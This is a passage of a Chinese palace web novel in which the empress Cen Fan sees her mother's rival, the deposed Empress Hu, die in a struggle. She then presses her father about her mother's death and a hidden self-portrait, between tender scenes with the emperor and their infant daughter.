她带的人并不算少,路上也未有人前来阻拦。 一路到了宣光殿,宫门外的侍卫跪地向她行礼。 “本宫可以进去了吗?” 那侍卫道:“陛下吩咐过,娘娘若要进殿,我等不可阻拦。” “那开门吧。” 宫门外有一道锁,侍卫并未再说什么,从怀中掏出一把钥匙来。 沉重的宫门被打开,那道宫门内漆黑一片,连一点光亮都不曾有。 岑璠眉轻轻皱起。 “废后不喜欢点灯,微臣这便叫人取几盏灯来。” 那侍卫说罢,便让周围的宫人去寻灯来,乳娘接过一盏灯,跟在她身后,走进殿中。 即便有灯火照耀,那宫殿内终究是有些昏暗。 忽地,从暗处传来一阵声音,那声音沙哑梗塞,像是许久没有说话似的。 岑璠依稀可以辨认的出,那是胡氏的声音。 “是谁点的灯?” “是我。”岑璠淡淡说道。 那道声音便随即消失了,乳娘挑起灯,寻找了许久,才宫殿的一处角落看见那胡氏。 胡氏对着一面铜镜而坐,若是说被折磨的不成人样,那倒实在不至于,她身上的衣裳虽不及从前华贵,可到底也衣衫齐整,头发也梳得体面。 只是那铜镜中反照出来的面容消瘦了许多。 灯火照向她的时候,她似是叹了一口气,举起手抚向自己的脸颊。 岑璠走近她,看清了那张脸。 曾经那张艳丽夺目的面容如今苍白如纸,侧脸上还有一道深深的伤疤。 岑璠怔了一下,恍然间注意到什么,提起灯笼看了看四周。 宽阔的宫殿内竟钉上了一幅幅画,有很多都是她画的文昭仪的画。 “不要往上面照。”那声音陡然冷冽了几分。 岑璠并没有听,转身照亮了 四周,整个宫殿中都挂满了画,而宫殿中的窗户,被一件件衣裳挡住。 岑璠让其他的人出去,只留了乳娘和槿儿在殿中。 “你觉得我和她像吗?”待到殿中没有人,胡氏才问她。 岑璠道:“不像。” 她挑起灯,又看了几眼,“画上的人眉目慈善,不像皇后。” “眉目慈善…”胡氏抬起眼,扫向那满墙的画,嗤笑一声,“你可知她是谁的娘?” “知道。” 胡氏看向她的小腹,道:“听说你怀孕了,这是生完了?是男孩还是女孩?” “关你何事?”岑璠道。 胡氏惋叹道:“可惜我日日诅咒这个孩子,还是生下来了。” 她站起来,咬牙切齿,“画这些画,你就不怕报应到自己孩子的身上吗?” 岑璠道:“皇后娘娘都不怕,我怕什么?” 胡氏眼眸动了动,又坐回了那把胡椅上。 “你也是皇后了。”她五官似都拧在了一起,“你以为这皇后这么好当。” 岑璠走近几步,“这皇后好不好当,倒也与你无关了。” “还是说娘娘觉得自己费尽周折,杀了那么多人才坐上这皇后之位,心存不甘,才要同我说这些?” 胡氏一拍那椅子的扶手,“你…” 岑璠走近几步,打断她要说的话,“我只想问你,我阿娘当年是怎么死的?” 胡氏听后,缓缓靠回椅背,像是整个身子都放松了下来。 她目光移向她身后的两人,笑道:“你今天来,是来替你的母亲报仇的?” 岑璠眼睛一瞬间红了,藏在袖中的手握了一柄匕首,此时正在发抖,“当然。” 胡氏上下看了几眼,目光聚在她的袖下,挑眉道:“你到底想怎么杀了我?” “逼死你母亲的是你父亲,又不是本宫,为何你非要要本宫的命?” 岑璠并未向她多解释什么,沉声问道:“那请问皇后娘娘同我的父亲又是什么关系呢?” “自然是…一种你情我愿的关系。”胡氏弯起一个笑容,朱唇皓齿,像是在回味,“严郎他善音律,长得又好看,还会吟诗作赋,他皇帝能找那么多和文氏长得像的人当他的妃子,本宫乃是胡氏贵女,京城无数才子求娶,为何不能找几个像严郎的人来玩玩?” 岑璠听她说着,并未流露出太多惊讶。 她的父亲就是这样的人。 她曾经也不是没有这样猜测过。 她手又握紧了些。 “不过你那父亲也不怎么老实。”胡氏看向自己的指甲,忽然想到什么,眼中闪过一丝兴奋,“你还不知道本宫为何一定要取你娘的命吧?” “因为你的母亲同文氏长得也很像,比起本宫更是神似。” 她仰头看着那一幅幅画,比先前平静了不少,“你那父亲表面上恭敬顺从,可却是个有野心的。” “他是想以我的阿弟做威胁,让我母亲进宫,用来制衡…你。”岑璠自己接了胡氏的话,语气却不怎么平稳。 “你还不算笨。”皇后勾起唇角,“虞佑柏那个人,说是让你的母亲进宫给本宫作画贺生辰,可本宫见到她的第一眼便明白了,那哪里是给本宫作画,分明是给皇帝看的。” “本宫不傻,怎会被他们二人这样捉弄?” 岑璠向来知道她的父亲是个恶人,她想过无数种可能,想过自己的母亲被两人暗害,也想过她的父亲是逼死母亲的元凶。 可她没有想过,她的父亲会如此恶心。 岑璠几欲作呕,仿佛只有手中的那把刀见了血才能抑制住。 她颤抖了许久,才冷静几分,压制住那种呼之欲出的冲动。 “杀你母亲的从来不是我,是他们两个先要来夺本宫的东西,本宫已经给了面子,只是罚了她杖刑赶出宫去,要怪只能怪她命薄,怪不得本宫,” 岑璠破涕而笑,转过身去,直视她的眼睛,“皇后娘娘这是想撇清自己?” “我就是想杀了你,再去杀了虞氏,你能奈我何?” 胡氏闭上嘴,眉目中还带着笑,似还有些欣赏,“你现在可是皇后,既然皇后觉得本宫有罪,那本宫自是没什么办法。” 胡氏似一副无所谓的态度,指了指她身后端着毒酒的槿儿,食指勾了一下,眼尾多了些慵懒,还是那样高高在上,“这么活着也没什么意思,不过本宫不想你母亲那样的死法。” “本宫想要那杯毒酒,能死的体面些。” 岑璠恨不得立刻将那杯毒酒立刻灌到她的口鼻中,让她难看地死掉。 可她还记得一件事,她抬起头来,又照向那些画,一幅一幅找,“画呢?” “你可是在找当年你母亲给你画的东西?这个本宫可以倒是帮你找。” 胡氏站起身来,岑璠并未回头,一个人往深处走。 在那寝殿的正中,挂着的一幅画,和墙上其他的画都不同。 画的很像… 若不是看到这幅画,她几乎都要忘记自己的母亲是什么样子了。 岑璠将灯挑高了些,伸出手来,槿儿见状走上前去,替她拿了灯。 她踮起脚尖,将那幅画取了下来。 “你可知道我阿娘生前为何要画这幅画,若是说了,我说不定可以——” 话还没说完,背后却是迎来听到一声闷哼声。 岑璠和槿儿同时转了身,周围一片漆黑,看不清什么,只能听到一点声响, 槿儿将灯向前照了照,两人同时睁大了眼睛。 只见一只匕首扎入了胡氏的侧腹,那只匕首一半握在乳娘的手里,另一半握在胡氏的手中。 胡氏躬下了腰,缓缓向一旁转头,踉跄了两步。 乳娘也像吓了一跳,赶紧松开握着的那把刀,那手指上还溅有未凝固的血液,手指颤抖。 “老奴看见她手上藏着刀,是她不肯放手。老奴没有想,老奴也不知道,她怎么就死了……” 岑璠尚且有些怔愣,乳娘还在语无伦次地解释,手脚并用。 胡氏却未坚持太久,捂住腹部,很快便倒在了地上。 乳娘躲开两步,看着胡氏脸朝地倒下,也有些站不稳。 槿儿上前去扶住她,“阿娘还好吧…” “槿儿,我是不是杀人了…” 岑璠呆呆地看着倒地的人,缓缓走上前去,低下身子。 胡氏…就这么死了? 倒在地上的那具身躯没有一点气息,岑璠能感受到周遭愈发冰冷。 心里什么东西着地,像是如释重负,却又瞬间空落落的。 她没能亲手杀了胡氏,可她眼睁睁看着胡氏倒在了她的面前。 钉在身上十年的仇恨,背负了十年的东西,就忽然这么飘然消散了…… 母亲含恨离开人世,唯一希望她做的便是要她杀了胡氏,替她报仇。 她做好了一生纠缠在仇恨中的准备,可现在却告诉她,等她找虞氏清算后,还有很多个十年等着她,去做些其他的事。 这辈子岑璠攒了很多银两,可也从未比得上此刻的富足。 她缓缓起身,恍惚地走到门口,才回头看了看乳娘和槿儿。 乳娘似乎还有些惊魂未定,槿儿还在搀扶, “先带乳娘去休息吧。”岑璠道。 槿儿点了点头,路过岑璠时,她忽然问道:“乳娘可还能记得清母亲临终前说过什么?” 乳娘皱起眉回忆,道:“夫人说,皇后…” “她当真没有提起虞家的人?” “应当是没有,记不太清了。” 岑璠抿了抿唇,道:“乳娘先回去好好休息吧。” 乳娘失魂似的走出殿门,岑璠在原地驻立了许久。 一阵血腥飘来,却被迎面而来的风瞬间吹散了。 殿门大开,天地广阔。 岑璠站立了许久,天上的云霭散了一片,天光自云边晕开,照进殿门。 有人背对着光而来,投下一道斜长的影子。 “朕说了,朕不会食言。” 岑璠低下目光,眼睛还有些不适应殿内的昏暗。 元衡伸出手来,“仇报了,随朕回去吧。”【你现在阅读的是 】 110-120 第111章 第一百十一章被困 岑璠目光移向他,他也在看着她,仿佛在等待什么。 她与他隔了一臂的距离,中间隔有一束光。 她并没有向他递来手,元衡便自己伸出手,十指相扣。 “回去吧,这里朕让人来收拾。” 他揽了她过来,在她的裙摆上看到了一点血迹。 岑璠顺着他的目光看去,便也注意到了。 她袖下的手拽住了裙摆,脚跟轻轻一踢,想要将那点血迹藏起来。 元衡握住她的手来,那血迹便又藏不住。 他轻声道:“没事的皎皎,咱们回去吧。 “咱们的满满刚才找不到你,在哭呢…” “嗯。”岑璠颔首,蓦地又轻轻拽了一下他的手,“陛下,我想过几日出宫,去趟虞家。” 元衡手握紧了些,语气平淡,问道:“需要朕打点什么吗?嗯?” “不用。”岑璠看向手中的那幅画,“我想去问他几个问题。” 元衡道:“这幅画上画的什么,能让朕看看吗?” 岑璠想了须臾,便将那幅画给了他,“陛下能看出这画有什么不一样吗?” 元衡将那幅画展开,那是一幅人像,画上人有几分像她。 “这画的可是岳母?” 岑璠转过头,冷眼瞧向他,并没有认下他的说过话。 想来也是,她母亲和虞佑柏决裂后,一个人在山上住了五年,向来和她一样,比牛还倔。 若是她老人家活着看到这些,想必即便他是天王老子,也不会认他这个女婿。 元衡一个做皇帝的,不自觉低下脑袋,顿了顿后又换了种说法,“这个应该是满满的外祖母,对吗?” 岑璠又戒备地打量他一番,到底还是承认了,“是,这是我阿娘。” “乳娘说,这幅画是母亲留给我的。” 她想过这幅画是怎样的,可她不曾想 过,会是母亲的一幅自画像。 元衡便又多看了看那幅画,可那张画上连一个字都不曾有,什么也看不出。 岑璠夺回那幅画,卷起来道:“陛下不必再看了,也许看不出什么。” “我回虞氏,问问虞氏的人便是。” 元衡听出了她称呼上的变化,问道:“方才胡氏都同你说了什么?” “没什么。”岑璠抿了抿唇,漠然道:“算不上什么大事,早都想到了。” 她说完后努力弯起一个笑容,眨了眨眼睛,将那眼中闪烁的东西藏了起来,语中带有偏执,“如果我还有仇要报,陛下会帮我吗?” 她抿着笑,等待他回答。 元衡心中一阵心疼,将软玉揽入怀,“皎皎,你想找谁报仇,朕都可以帮你。” “朕是想用报仇留住你,可若只是想留你在身边,朕有很多种办法。” “你一直都知道的,朕想要的不只是这些…” 纵使他这么说,岑璠还是回应不了他。 喜欢和不喜欢这两个词实在奇怪了,喜欢用一句话可能道不明,可不喜欢,怎么样都是简简单单一句不喜欢… “咱们先回去吧。”元衡轻声道。 他放开她,在前面为她引路,穿过那道永巷,离开后宫,回到了他好不容易在皇宫中隔出的那个家。 他们的女儿已经安静了下来,可脸蛋还红扑扑的,显然是刚哭过。 岑璠伸出手来,想要摸摸孩子细腻的脸蛋。 她忽然想到什么,手停在一寸前,缩了回去。 元衡回过头去,看到她脱下那件沾染了血迹的外衫,又叫紫芯端来了一盆清水。 她的手上洁净,并未沾有一点血迹,可她还是仔仔细细将手洗了一遍,才去将满满抱了起来。 小姑娘满眼的笑意,安安静静地同她对视,乖巧的不得了,一点忧虑都不曾有,就连刚才哭过都不怎么能看出来。 “你为什么总是爱笑啊?”岑璠温柔地问她,面无表情道:“刚才阿娘的仇人死了,你是不是在为阿娘高兴?” 她对着怀中的团子轻问,更像是在自言自语,元衡却是有些担忧,执意将那孩子抱去自己怀里,“皎皎,满满她现在还听不得这些呢…” 岑璠愣了一瞬,似是冷静过来,嘴轻轻动了动,没再说下去。 元衡见状,让紫芯将满满抱下去。 满满每天都能见到紫芯,也不怎么怕她,紫芯拿来床边的拨浪鼓,边哄边摇,满满的目光便被吸引了过去,没再看那对好看的爹娘。 殿内静了下来,岑璠也变得愈发沉静。 “皎皎怎么了?” “没什么。”岑璠道:“你说满满长大后,也会像咱们一样去杀人吗?” “放心吧,有朕在,不会的…”元衡想了想,又觉得自己说的不对,“不过也许会,要看她走的多远了。” 人在高处,碰的人多了,哪有不动杀孽的善人呢? “不过皎皎不用担心,咱们做父母起码要比他们做的好…”元衡手掌扶在她的肩上,轻声道:“咱们一起陪着她长大,她起码不会恨上咱们,会快快乐乐地长大,有朕在一日,也不用她亲自动手去杀什么人…” 岑璠听得出他的画外音。 她曾经总是对他说,她不会因为一个孩子被困住。 原来她还是要被困住了啊…。 岑璠低下头去,“那你说咱们这样的人,手上沾了亲人的血,满满知道了会不会嫌弃咱们?” 元衡轻轻一笑,扫了她一眼。 就算她做了这皇后,也不像先前那位一样喜艳丽的衣裳,修养的这段日子,都像今日般一身宽大的素色大袖衫。 元衡不知道是不是所有成为母亲的女子都会这般,可她生完满满后确实变了些。 身上褪去抵触的利刺,多出了些温婉沉静。 似乎在他很小的时候,杨氏也是与世无争,和被打入冷宫后判若两人。 他否认道:“怎么会,你是她阿娘,亲自喂她长大,她那么黏你,她才不会嫌弃你…”元衡挑起她耳边的一缕乱发,道:“而且不论如何,还有朕呢…朕永远都不会嫌弃皎皎。” 岑璠如常抓住他的手,似已经习惯他这般,只轻轻将他的手拿开,并未多说什么。 元衡脸上仍挂着淡淡的笑容,“皎皎刚才的意思,是想动虞氏了?” 岑璠抬起头看他,鸦羽似的睫下眼神坚定,反问道:“他是我的杀母仇人,陛下觉得不该血债血偿吗?” 元衡答道:“当然应该。” 他知道皇后定是对她说了什么,不然她的眼中不可能透出那样彻骨的恨意。 “皎皎可有想好怎么个偿债法?” “我还有话想要问他。”岑璠忽然想到什么,目光朝向他,“陛下其实也可以帮妾身想想,怎么个偿债法。” 元衡凝视着她,眼中温柔中交织有戏谑,“好啊。” 岑璠回以一个笑容。 她站起身,再回来时,那小姑娘又被她抱了回来。 元衡站直了身子,刚准备说什么,岑璠却向他摇了摇头。 小孩子睡的快,满满趴在岑璠的怀中又睡着了。 元衡无声向她确认,岑璠点头,元衡便又老老实实坐了回去。 小姑娘被轻轻放在床里,连眼睛都没有睁开。 方才房中的那些戾气被睡熟的小姑娘骤然冲散,元衡轻轻推了一下那摇床,小姑娘也没什么反应。 “你说她每天怎么睡这么久?” “小孩子都这样,我记得珝儿…”岑璠话说了一半便停住,“会睡的越来越少的。” 元衡还是看不够,俯下身去,温声道:“满满要快些长大呀…” 他说着,一只手指轻轻勾起小姑娘的胳膊。 他们的满满早出生快一个月,可到底是大魏最尊贵的小公主,过了一个月,比寻常人家的孩子还要白胖些。 元衡却又担心起来,“你说她长大后,不会很胖吧?” 岑璠看他的眼神闪过一丝嫌恶,似还蕴含有点怒意。 “朕不是这个意思… “元衡觉得说错话,手指离开小姑娘的胳膊,替她掖了掖小被子,道:“她若是胖也不要紧,朕会想办法,让这天底下的人都以胖为美” 当今不论是女子还是男子,都追求瘦骨逸神,清丽出尘,让人都喜欢胖,他倒是也真敢想 岑璠没将他不着边际的话当真,敷衍道:“能得陛下厚爱,是满满的福气。” * 虞佑柏虽被罢官,可到底留了不少钱财,还有虞氏和黄氏留下的产业。 宅子还在,在洛阳本不该难过,顶多就是被奚落几句。 可前些日子,却是珝儿却是被赌坊的人扔了回来,还断了根手指。 赌坊的人还大放厥词,说赌场之后但凡有虞氏和黄氏的人欠了账,定会来找他们。 虞佑柏听到后,恨不得当场将珝儿打死,黄氏却哭得上气不接下气,央求他莫要重罚。 这是岑璠的亲弟弟,虞佑柏到底有所顾忌,冷静一番,也只是训诫了几句,打了戒尺。 本是想息事宁人,谁知那些人实在嚣张,砍了珝儿一根手指还不够,隔日又上门问他要五十两银子。 虞佑柏就算再没落,到底不想吃这些腌臜货色的哑巴亏,没来得及细想,只想着先用在宫中的女儿震一震那些人的气焰。 可谁曾想,那赌坊的人反倒笑他,说珝儿是皇后亲自下令从宫里扔出来的。 虞佑柏吃了一惊。 他向来知道,自己的那个女儿不是善茬。 他当初让她接回家中,本也没打算多留几日,只是为了用她稳固和胡氏。 可谁曾想,他会错把这个女儿送给晋王,而那晋王不知道被下了什么蛊,还偏偏要娶他这个女儿做正头王妃。 岑璠嫁入晋王府本就一直是悬在他心头的一根刺,让他两头不是人,谁曾想如今这晋王还登基成了皇帝。 虞佑柏深夜中不是没有后悔过,可他知道自己手里到底还捏着珝儿这张牌。 他左思右想也想不出,为何岑璠会连珝儿都不管,可那些人若是说假话,怎会如此嚣张? 虞佑柏自己琢磨了多日,最后只能从珝儿那里套话。 可一提到岑璠,那逆子便一个劲儿的哭,黄氏又护短,不让他逼珝儿说什么。 他有意将珝儿被断指的消息放出去,可宫里竟没有一点动静,那赌坊照开不误。 虞佑柏终究是有些慌了,筹谋了一个月,卖了大宅,散去些奴仆,举家在洛阳城边上买了座小宅子先住着,没再闹出什么动静来。 本是想着能与宫里的两人先划清界线,互不招惹,可谁曾想岑璠会在年前这个时候找上门来。 宫中的太监亲自敲他们家大门,虞佑柏不敢不待见,只能带着举家相迎。 岑璠来的排场并不算大,起码比他认识的先前那位皇后,要低调太多。 可那车到底是一辆金丝楠木搭成的牛车,车的四角都挂有玉佩不说,连下车都有两三个宫人在下面接着。 虞佑柏时不时掀起眼皮瞄上几眼,额纹时隐时现。 他那女儿站定在他面前,一双雪白的锦靴上点缀了好几颗黑色的珍珠。 “外面怪冷的,本宫还是想和父亲进去说。” 虞佑柏太久没有见过岑璠,他只依稀记得岑璠从前的声音,淡然中又有几分冷漠。 如今同他说话,俨然是一副上位者的威严姿态。 他不禁感慨道,这宫里果然能养出贵人。 可元衡没来,虞佑柏到底松了口气。 他从前总是同那胡皇后打交道,对和这路人怎么说话,摸得门清。 若是自己先放低了姿态,那便是彻头彻尾先认输了。 虞佑柏眼睛左右转了转,便是说服自己,就当是皇后年前回来省亲便是。 他做出一副笑容,抬起头来,“是为父没考虑周全,太久没见皎皎,忘了皎皎才出月子” 他转头向黄氏吩咐了几句,黄氏看向岑璠,岑璠感觉到凝视在身上的目光,微微侧目,同从前的目光没什么两样,还是那样冷漠,有些看不起。 “你先去,别失了礼数。”虞佑柏低声提醒道。 黄氏回过神,连忙下去准备。 珝儿也跟着在门外,一眼都不曾多看她,也不想从前时热络地先叫一声阿姊。 他手紧紧攥起,胸口剧烈,像是在憋着什么话。 岑璠的视线多在少年身上停留了半刻,她最后一次见少年时候,他还算壮实,风风火火的,多月不见,少年身上的肉少了,背也驼了。 就连话都少了。 从前叫她阿姊的那个人,有几分是真心,又有几分是想要利用她谋得些好处,此时又是出于何种原因不想和她说话,岑璠已经不想再去计较。 这样没有精气神,换到从前,岑璠或许会说道他两句,可她现在没再多问一句。 她走在一家子的最前面前面,进了虞家的新宅子。 那院子比她之前住过的地方小许多,摆设倒是没换多少,很多是从那大宅里搬来的。 只是院子终归小了些,大宅的东西都摆在明面上,便显得有些拥挤。 一路走进前厅,黄氏已经摆好了茶盏。 虞佑柏喜好饮茶,家里藏有不少好的茶叶,黄氏将最好的东西拿了出来。 也不知道这些玩意儿是不是在宫中司空见惯,岑璠未饮一口。 场面一时有些难堪,虞佑柏尚不明白她的来意,只得自己先开口问些别的,“听说皎皎早些时候生下的是个公主,现在如何了?” 岑璠未回他,低头看了看那盏茶,一点点倾斜杯盏,将那盏茶倒在地上,“父亲大人觉得自己该知道这些吗?” 此话一说出口,厅中坐着的所有人都愣住了。 虞佑柏话音顿了顿,像是无奈,向珝儿摆了摆手,“去,再给你阿姊添一盏茶。” 珝儿一声不吭,走到她面前添了盏茶。 岑璠低眼静静看着,忽然注意到什么,问道:“你的手怎么了?” 珝儿手一顿,茶水洒到桌子上一点,还不待两人开口,虞佑柏却率先接道:“娘娘不必在意,这个混帐出去赌,屡教不改,也该长长记性才是。” 岑璠目光终究摇晃了一瞬,她皱起眉,看向珝儿。 珝儿低着头,手中的茶壶越捏越紧。 岑璠手微微抬起,须臾后却又收了麾,“是,总该长长记性。” 珝儿的手骤然松了些,停在她身边,连呼吸声都几乎听不到了。 岑璠目光移开,“你先回去吧,我同你父亲有话要说。” 珝儿仍旧盯着她,不曾移步,虞佑柏怕珝儿同她起冲突,便是又重复了一遍,“我和你阿姊有正事要说,你先下去吧。” 珝儿将茶盏放在她的杯盏旁,转身迈开步子离开。 岑璠到底还是没忍住,在他转过身前多看一眼。 她好像看到珝儿的眼睛红了… 她收回目光,掐住手心,终归没挽留半句。 再整理一番心情,便是想明白了为何刚才虞佑柏会让珝儿给她敬茶。 岑璠低头,无声笑了笑。 虞佑柏显然没有看到她眼中的嘲讽,待到珝儿走后,又从容了些:“皎皎来是想要和为父说什么?为父定知无不言。” 岑璠仰起头来,深吸一口气,不漏情绪,“没什么,只是想告诉父亲,宫里的胡皇后死了。” 她说完后,立刻看了看虞佑柏的反应,他的眼中分明闪过一瞬的慌乱。 岑璠道:“对了,本宫忘了,将胡氏暂囚在宣光殿是陛下的意思,父亲应当是不知道胡氏还活着才对。” 虞佑柏嘴角抽搐了一下,却还能保持平静,“其实死了也好,皎皎的母亲是被胡氏害死的,皎皎杀了她,也算是为柳娘报仇了” “柳娘?”岑璠冷笑一声,“父亲倒还记得…不过你配叫她的名字吗?” 虞佑柏猛然抬起头来,不过显然不是因为她言语不敬而惊讶。 “胡氏她都同你说了什么” 岑璠拧出一点笑容,上下将他打量一番,“她同我说了什么,还要看父亲您接下来能说什么,做什么。” 她目光移向一旁的大太监,将带来的那幅画展开,“父亲可还认得这是谁” 第112章 第一百一十二章忘掉他们吧 虞佑柏定睛一瞧,显然记得,“这…这不是柳娘吗?” 岑璠从他眼中看出了惊讶,却不甚在意,“父亲是不记的这幅画了吗?” “你、你也该知道,柳娘她很少画自己啊。” 岑璠笑了笑,“是,可这确实是她画的,这幅画就在那位皇后的宫中。” “那娘娘也不能觉得为父就认得这幅画啊!”虞佑柏眼睛眨了眨,“我确实不认得。” 他说的信誓旦旦,岑璠沉默,却并未完全信他。 她居高临下,未有丝毫动容,唇边弯起一抹笑,“本宫不管。” “再过三日便是岁除,父亲看这样如何?本宫和您都先过个好年,父亲也趁这段时日好好想想这画的来历,等上元节过,若您还想不起来,本宫到时再带人来,您看如何?” 岑璠不想再同他多说什么,不紧不慢站起身。 老太监躬着腰,身后的几个太监宫女见状也转过身,默默跟在她身后,未打算再多留。 “我真的不知道,你就算再给一年,我也想不起来。” 岑璠攥紧了手,索性将话挑开了说,“那当初母亲是谁送进宫的,父亲可还记得?” 虞佑柏语塞,岑璠道:“父亲该有些自知之明,您还能好好站在这里同本宫说话,也只是因为母亲留下的这幅画而已。” 岑璠迈开步子,身后坠有好些个宫人,径直离开虞氏的前厅。 小年已过,即便是萧条的虞氏,院子里也年味十足,院门前悬着两盏玲珑的鱼灯,一行 人走过时来回打旋。 生完满满后,岑璠的身子还未完全恢复好,比起从前来还有些畏寒,在月子里每日都会有太医来把脉,甚至在民间的妇科圣手都被元衡重金请进了宫。 寒冬腊月里,一阵风卷过,岑璠的并不算少,长袄在身,肩头还披了件披风。 可待在这里还是觉得冷,浸透的寒冷。 岑璠拢紧身上的衣裳,芸蚕察觉到,将手衣也递给她,“娘娘别冷着手。” 岑璠将手衣带好,步子快了些,乳娘和槿儿已经在门外,“方才你们可打听到什么?” 她方才进虞氏时,想到了虞佑柏会咬死不认,便也让乳娘和槿儿也想办法从虞氏老仆口中打听打听。 乳娘摇头道:“姑娘不知,那些奴仆守口如瓶,三缄其口,根本问不出。” 槿儿接道:“是啊姑娘,那虞氏的管家说,夫人进宫后便再也没回家,当年在宫中出了事,虞氏也是避之不及,无人再见过。” “避之不及”岑璠重复了她的话,不知为何,槿儿竟从她的目光中看出了杀意。 槿儿从未见过岑璠这般,她二人名义上算是主仆,只不过岑璠向来没什么架子。 她低下头,“虞氏的人是这么说的。” 岑璠意识到什么,收回几分眼中的凌厉,“走吧。” 槿儿知道,岑璠只是因为虞氏的话而动怒,心里松了气,问道:“方才姑娘可有问出什么?” “没有。” “那姑娘准备怎么做?” “我给了他几日,虞佑柏此人并非不识时务者,届时他若冥顽不灵,也不必再同他周旋。” 槿儿听她说着,除了点头,也插不上什么话。 她总觉得岑璠变了些,从前即便是她成了王妃,她依旧能把她当做那个彭城来的姑娘。 可现在她身上却是多出来了些东西,总是像现在这样一个人走在她前面。 槿儿说不上那究竟是什么。 她从未见过那位废后胡氏风光的时候是什么样的,也不知道岑璠身上多出的算不算是一个皇后该有的威仪。 岑璠并未再多说什么,也对这里没什么留恋的,该说的都说到了,便打算坐车回宫。 就在她坐稳,车驾将行时,有人叫住了她。 大太监看着那从府门中出来的人,一时也不知道该不该拦,等岑璠发话。 许久之后,车窗才被架起,厚厚一层帷裳被卷起。 岑璠并未转头看人,冷声道:“你若是为虞氏求情,那便回去吧。” “我只是想问问,阿姊怎么样?”珝儿站在不远的地方,问道:“听说阿姊那日生产的时候” 珝儿头愈发低,似也不知道该怎么问出口,声音越来越小。 岑璠抿了抿唇,还在等他说什么。 槿儿却是忍不住,探出头去,“娘娘因为小公子险些丢了性命,小公子现在连一句道歉都不准备说,那便还是莫问的好。” 珝儿想要解释什么,岑璠却开口道:“是他让你出门对我说这些的,是吗?” “不是的”珝儿摇头,想要上前,却是被她车前的宫人拦了下来。 岑璠目光看向他,道:“我不管你为何来这里,该说的话我都同你说过。 “你既选择做虞家的人,便不该再来问我。” “阿姊…我、我来确实是想向你道歉…” 岑璠沉默了许久,没说什么更难听的话,道:“回去吧,与其来劝我,不如去劝劝你的父亲,为了虞氏他也该想清楚。” 说罢,那层帷幔便又将两人隔开。 “回宫吧。” 一声令下,车轮辘辘,扬长而去。 宫内一派祥和,宫人正在装点,灯笼,红绸,甚至在含章殿前搬来了几盆红梅,红梅上装点的彩绳还是从民间买来的。 这是元衡早些时候便有的想法,他说他儿时在皇宫,许多民间的玩意儿都没见过,后来出宫,才知自己目光狭隘,不食人间烟火。 满满一出生也在皇宫,不论是民间的小玩意儿还是宫里的宝贝,他想让她都见见。 这个时候元衡应当还在处理政务,岑璠没有问他的去向,瞧着那红梅开的好,便让人搬进去一盆。 刚进了门环视四周,想将那盆红梅安放在合适的位置,却听到男人哄孩子的声音。 岑璠随意指了个地方,宫人默声将花盆放下,芸蚕帮她拿了披风和长袄,也跟着退了出去。 她悄声往里走了几步,便看到自己的满满躺在他们的大床上,四仰八叉,小手里拿着一只小巧的鱼灯。 那只鱼灯比寻常的灯小,也不会亮,本是元衡特地做给她过年玩的,此刻尾巴在床上来回蹭,都快掉下来了… 只是小姑娘的注意力不在那只散架的鱼灯上。 元衡双手捂住脸,忽然打开,长大了嘴,满满似是吓了一跳,咿咿呀呀,挥了挥手里的鱼灯,而后却在床上笑起来。 真不像个皇帝,岑璠心道。 岑璠走上前去,元衡显然早都注意到她,只对着满满道:“咱们和阿娘玩好不好…” 说罢,他合住小姑娘的胳膊,用满满肉乎乎的小手挡住了她自己的眼睛。 忽然他打开小姑娘的胳膊,“你看,阿娘也来喽。” 小姑娘兴奋地瞪着小腿闹,岑璠忍俊不禁,坐到床边,抬了抬她的下巴。 满满前几日学会了抬头,她手轻轻一挑,她便抬起头来看她。 小孩子便是这样,学东西快,学会了也不会忘。 她抽去小姑娘手里的灯,看了看那摇摇欲坠的鱼尾巴,想将那鱼尾巴粘回去。 元衡道:“还有好几盏呢,这盏不要也罢。” 岑璠便也没再管,将那可怜的鱼灯放在小姑娘趁手的位置,“陛下在这里,外面的人怎么不通报?” “这是朕的意思。”元衡还在晃悠着小姑娘的胳膊,“皎皎是朕的妻子,又不是外人,要人通报什么?” “莫说是含章殿,就算是太极殿,皎皎若想去随时也去得。” “陛下说笑,太极殿乃是朝臣议事之地,不 是妾身该去的地方。” “怎么不该,这是咱们的家,哪有主随客便的道理?” 岑璠歪理讲不过他,又看向小姑娘,“陛下怎么回这里了?” “皎皎还说呢…”元衡语气中似有一丝埋怨,“你去虞家的时候,满满她肚子胀气,嬷嬷给顺气后她还在哭,谁都哄不好…” 这个岑璠也知道,她的满满这几日时常打嗝胀气,闹得厉害。 有一回夜里就连他们也哄不好,最后连太医都叫了过来,抱去了暖房,他们才能睡个安生觉。 她将满满抱起来,轻轻拍她的背,“阿娘的错,阿娘之后一直都陪满满好不好?” 元衡静静看着,听到她说一直要陪着孩子,嘴角不禁弯起。他无声,手轻轻按着她的腰,让她靠入怀中。 满满睡的时候还是很长,很快便又安静了下来。 岑璠将她抱回摇床,见那做皇帝的人还是不准备走,无声叹了口气。 元衡给她让出位置,岑璠又坐了回去。 他问的平静,就好像是寻常夫妻在数家常,“怎么样了?” “他不认,等年后再说吧…” 元衡罕见没有针对虞氏不依不饶,点头道:“先过个好年。” “今年咱们有满满一起过年。” 想来真是白驹过隙,去岁的时候他带她来京城,什么都还没定下来,当时珝儿闯下祸事,他那时想了些卑劣手段,想将强她留下来。 才过了一年,他当了皇帝,而他们的孩子都要陪他们过年了。 “那幅画朕也会帮皎皎想办法。”元衡鼻尖蹭在她的鬓上,闭上眼睛,在她耳畔轻轻道:“皎皎,忘掉他们吧…” “忘掉谁?”岑璠有一瞬的恍惚。 她心里已经下意识有了答案,可就算明白他的意思,竟也生不出一点怒火。 忘掉过去的所有,虞氏的人,她的弟弟,甚至是带着执念离世的阿娘。 那声音萦绕在耳畔,蛊人心魂,空灵回响。 他仍旧蹭在她的耳畔,陶醉其中,可自她报仇后的那些患得患失,随着刚才那声问发了疯似的滋长想让人胆怯不安, 他确实想要蛊惑她,慢慢向下,噙住她的耳垂,竭尽所能做着能让她愉悦的事,“皎皎,你有满满了,还有朕在…把他们都忘了好不好?” 第113章 第一百一十三章都是孩子她娘了,怎么…… 身后的人愈发痴缠,像是一只盘桓在树上的蛇一样缠着她,岑璠岿然不动,紧抿着唇,奈何他在她脖子上轻咬了一口。 一声轻吟自唇中吐露出,而后又紧紧闭起。 元衡轻笑:“都是孩子她娘了,怎么还这样?” 岑璠脸上烧红,不允许他这么说,“你闭嘴” 元衡轻笑,轻轻埋首,耳朵上喷洒的气息都是热的。 他说的什么岑璠听不全,大抵是在说以后不打算再生,那以后就算放肆些也无妨。” 